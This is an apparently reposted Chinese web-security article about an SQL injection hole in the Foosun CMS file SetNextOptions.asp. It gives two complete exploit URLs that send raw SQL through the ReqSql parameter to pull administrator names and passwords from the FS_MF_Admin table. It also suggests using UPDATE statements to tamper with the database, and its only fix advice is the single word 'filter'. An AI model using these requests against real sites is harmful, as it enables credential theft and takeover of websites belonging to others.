foosun 0day 最新爆管理员账号密码漏洞及修复

foosun 0day 最新爆管理员账号密码漏洞及修复 - 网

来源：自学PHP网时间：2015-04-17 14:46 作者：阅读:次

[导读] 风讯foosun的注册文件存在漏洞。黑客们可以暴管理员帐号和密码。漏洞文件：www.2cto.com /user/SetNextOptions.asp利用简单的方法：暴管理员帐号：http://www.2cto.com /user/SetNextOptions.asp?sType=1EquV....

风讯foosun的注册文件存在漏洞。黑客们可以暴管理员帐号和密码。

漏洞文件：www.2cto.com /user/SetNextOptions.asp
利用简单的方法：

暴管理员帐号：
http://www.2cto.com /user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
暴管理员密码：
http://www.2cto.com /user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin

如果得不到密码黑阔们也可以考虑 update 。。。很邪恶喔。。哈

修复：过滤

from:久久久电脑

IdeaCMS 2.1 建站系统后台拿shell - 网站安全 - 自学

中国菜刀通讯加密分析 - 网站安全 - 自学php

子栏目

foosun 0day 最新爆管理员账号密码漏洞及修复 - 网

最新评论

添加评论

更多文章推荐

添加评论